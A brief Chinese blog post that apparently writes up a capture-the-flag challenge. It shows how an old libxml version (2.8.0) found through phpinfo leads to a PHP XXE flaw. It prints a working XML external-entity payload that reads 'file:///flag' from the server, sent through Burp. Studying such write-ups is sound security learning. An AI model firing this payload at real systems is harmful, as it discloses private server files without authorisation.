PHP的XXE

一打开就是phpinfo的界面,Ctrl+f 搜索flag和xml,没有思路

尝试搜索之前的漏洞,搜索到

PHP 默认使用 libxml 来解析 XML,但是从 libxml 2.9.0 开始,它默认不再解析外部实体,导致 PHP 下的 XXE 漏洞已经逐渐消失,除非你指定 LIBLXML_NOENT 去开启外部实体解析,才会存在 XXE 漏洞。

回来搜索libxml,发现版本为2.8.0,搜索历史漏洞

在一篇博客中看到

Web目录为./www,其中包含4个文件:
dom.php # 示例:使用DOMDocument解析body
index.php
SimpleXMLElement.php # 示例:使用SimpleXMLElement类解析body
simplexml_load_string.php # 示例:使用simplexml_load_string函数解析body
dom.php、SimpleXMLElement.php、simplexml_load_string.php均可触发XXE漏洞

payload

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<root>
<name>&xxe;</name>
</root>

bp发包拿到flag

posted @ 2025-04-19 23:09  Susen  阅读(27)  评论(0)    收藏  举报